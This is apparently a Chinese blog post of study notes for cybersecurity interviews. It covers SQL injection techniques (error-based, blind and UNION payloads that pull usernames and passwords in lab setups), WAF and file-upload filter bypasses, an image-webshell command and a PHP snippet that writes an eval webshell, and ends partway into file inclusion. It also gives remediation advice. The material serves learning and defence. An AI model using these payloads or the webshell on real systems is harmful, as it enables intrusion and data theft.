常见的网络安全面试题目(个人总结)

1、常见的漏洞及其利用方式

SQL注入

对于客户端输入的内容没有进行严格的校验,而导致恶意的sql语句被执行,而产生的漏洞。
常见的漏洞类型有报错注入,布尔盲注,时间盲注,联合查询的注入。

报错注入

无法判断显示位,但是页面会根据我们输入错误的SQL语法而报错,所以采用报错注入来解决这个问题。简单的说就是利用函数报错使其输出错误结果来获取数据库的相关信息。

常见的报错函数

updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数
extractvalue() 是mysql对xml文档数据进行查询的xpath函数
floor() mysql中用来取整的函数
exp() 此函数返回e(自然对数的底)指数X的幂值

updatexml函数

updatexml()函数的作用就是改变(查找并替换)xml文档中符合条件的节点的值
语法:updatexml(xml_document,XPthstring,new_value)
第一个参数是字符串string(XML文档对象的名称)
第二个参数是指定字符串中的一个位置(Xpath格式的字符串)
第三个参数是将要替换成什么,string格式
Xpath定位必须是有效的,否则则会发生错误。我们就能利用这个特性爆出我们想要的数据
payload:kobe ’ and updatexml(1,concat(0x7e,version()),1)#
让全部的校验失败,就是使用concat在需要的数据前面加上一个XPATH校验,可以让它失败就可以了。0x7e用来校验,version()是我们想要的数据,concat用来连接它们两个。
使用0x7e纯粹是觉得专业,很有意思。
Concat在mysql中就是起到一个连接作用。
复杂的语句:kobe’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’)),0)#这个可以获取表名

extractvalue函数

extractvalue()函数的作用是从目标xml中返回包含所查询值的字符串
extractvalue (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为doc
第二个参数:XPath_string(Xpath格式的字符串),Xpath定位必须是有效的,否则会发生错误
http://127.0.0.1/sqli-labs/Less-1/?id=1’ and extractvalue(1,concat(‘~’,database()))–+
这个原理和updatexml函数的一样,只不过少了一个参数。

Floor函数

Floor()是mysql的一个取整函数
floor()函数的使用局限:mysql 5.0及以上版本

Exp函数

EXP(x) 返回值e(自然对数的底)的x次方
and exp(~(select * from (select user () ) a) );

时间盲注

所谓盲注,就是在服务器没有错误回显的时候完成的注入攻击。
什么是时间注入,就是通告web页面返回数据的时间差来判断注入语句是否正确。
Length()返回字符串长度
Substr()截取字符串长度
Ascii()返回字符的的ascii码
Sleep()将程序挂起一段时间
If(exp1、exp2、exp3)判断语句,第一个语句正确就执行第二个,否则执行第三个
时间型盲注的payload:?id=1 and if(length(database())>1,sleep(5),1)

布尔盲注

布尔型盲注应用于无数据回显,且web页面无报错信息的情况。
布尔盲注的web页面只有两种回显结果,正确的页面以及错误的页面,且错误的页面没有提示语句,正常的页面也不能输出数据。
根据返回页面的正确与否,通过判断对应字符的ascii码值是否对应,来判断字符串具体的数值。
注入语句后面的–的意思:
起到一个注释后面语句的作用,防止对前面的语句产生干扰。
(首先用substr截取字符串,每次截取一个,用ascii()函数转化为ascii码,进行判断,如果不符合,返回页面错误,最后根据得到的ascii码来判断它的值)

联合注入的过程

1、判断是否为注入点
老方法:and 1=1 页面正常
and 1=2 页面错误
可能存在注入点,尽量选择有经验舒服快捷的方法
2、判断是数字型还是字符型
1—数字型测试:当输入的参数为整型时,如果存在漏洞,可以认为是数字型注入
1)加单引号,?id=3’,这时候sql语句出错,就会有异常
2)加上 and 1=1 ?id=3 and 1=1,语句正常,与原始页面无差异。
3)加上 and 1=2 ?Id=3 and 1=2 语句可以执行,但无法查询结果,与原始页面有差异
满足以上三点,就可以判断是存在数字型注入
2—字符型测试:当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
例如数字型语句:select * from table where id =3
则字符型如下:select * from table where name=’admin’
因此,在构造payload时通过闭合单引号可以成功执行语句:
3、判断列数
注入语句 order by
id=1’ order by 3 --+
如果number小于或等于实际数量,那么页面正常
4、判断显示位
使用union联合查询 selecet 1,2,。。。。。n(n取决于列数)
首先使用order by 判断出列数后,就可以用union select 1,…n进行查询了。
5、信息收集
获取数据库名、表名、字段名、字段中的数据
1)获取数据库名:group_concat()一次性显示
Id=-1‘ union Select group_concat(schema_name) from information_schema.schemata
显示当前数据库:database()
2)获取表名
id=-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3
3)获取列名

id=-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),3
4)获列名:
id=-1’ union select 1,(select concat_ws(char(32,58,32),username,password) from users limit 1,1),3
用limit控制,一行一行得到数据

SQL注入修复意见

加waf/可以有效缓解,可以作为/临时措施,根除的话/需要修改源码,一般需要/严格对输入参数/进行SQL语句过滤/,或者/使用预编译(就是/把要查询的语句/先封装编译,后边/输入的参数/都会被/作为字符串输入)

SQL注入漏洞挖掘

SQL注入漏洞一般出现在有数据交互的地方,比如登录页面、数据查询页面、新闻页面、数据新增页面等

SQL注入绕过方式

1、使用大小写混合;
2、使用内联注释的方式绕过,就是用/*!12345 语句 */
3、使用等价替换的方式,比如用like替换等号
4、使用16进制编码表示字符串,绕过对库名的过滤

SQL预处理

客户端发送一条sql语句到mysql服务器,mysql服务器会进行编译处理,但是有时候我们会重复执行一条sql语句,这时使服务器即时编译处理就会造成很大的资源浪费,而且耗费时间,特别是大量数据时,所以sql预处理可以很好的解决这个问题。
预编译语句的优势在于,一次编译,多次运行,省去了服务器解析优化的过程,此外预编译语句能防止sql注入。

文件上传

因为/对上传文件校验/不够完善,而导致的/可执行文件/被上传到服务器,从而产生的漏洞。

文件上传漏洞修复意见

可以在服务端/对文件后缀/使用黑白名单结合的/过滤方式,并且/对文件内容进行校验,上传之后/对文件名/进行重命名操作,也可以使用/微服务/保存上传上来的文件。

文件上传绕过方式

1.黑名单
a.通过一些特殊后缀 .php5 、.phtml、.asa、.jap等
b.上传.htacess 点h t 额可赛思
c.大小写pHp
d.在数据包中 后文件缀名前加空格
e.后缀名前加.
f.加上::$DATA
g.未循环验证,可以使用x.php…类似的方法

2.白名单
(一般需要配合其他漏洞一起利用)
a.%00截断
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束。
%00适用于php>5.3.42,且服务器中的php.ini中的magic_quotes_gpc = Off,才可以进行%00截断
(magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误)
在这里插入图片描述

b.图片马
所谓图片马,就是将一句话木马与图片相结合,使得图片中包含代码。
使用语句 生成图片马。
copy 图片.jpg/b + 木马.php/a 木马.jpg
/b 表示以二进制方式打开
/a 表示以ASCII方式打
c.条件竞争
(先进行上传,后进行判断。利用时间差进行webshell上传)
在服务器删除我们上传的非法文件之前,访问这个文件,从而生成另一个木马文件,用这个木马文件getshell

<?php
	fputs(fopen('shell.php','w'),'<?php eval(@_pOST["a"]); ?>')  #注意单双引号的闭合
?>
#只要执行,就是生成一个shell.php文件,shell.php的内容为 <?php eval(@_pOST["a"]); ?>

文件包含漏洞

文件包含漏洞原理
原理:文件包含本身是正常功能,如果客户端可以干预被包含的文件名,导致包含了恶意文件,就会产生漏洞

文件包含的相关函数

1.include():使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。
2.inclue_once():功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。
3.require():使用此函数,只要程序执行,立即调用此函数包含文件,发生错误时,会输出错误信息并立即终止程序。
4.require_once():功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。

文件包含利用</

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值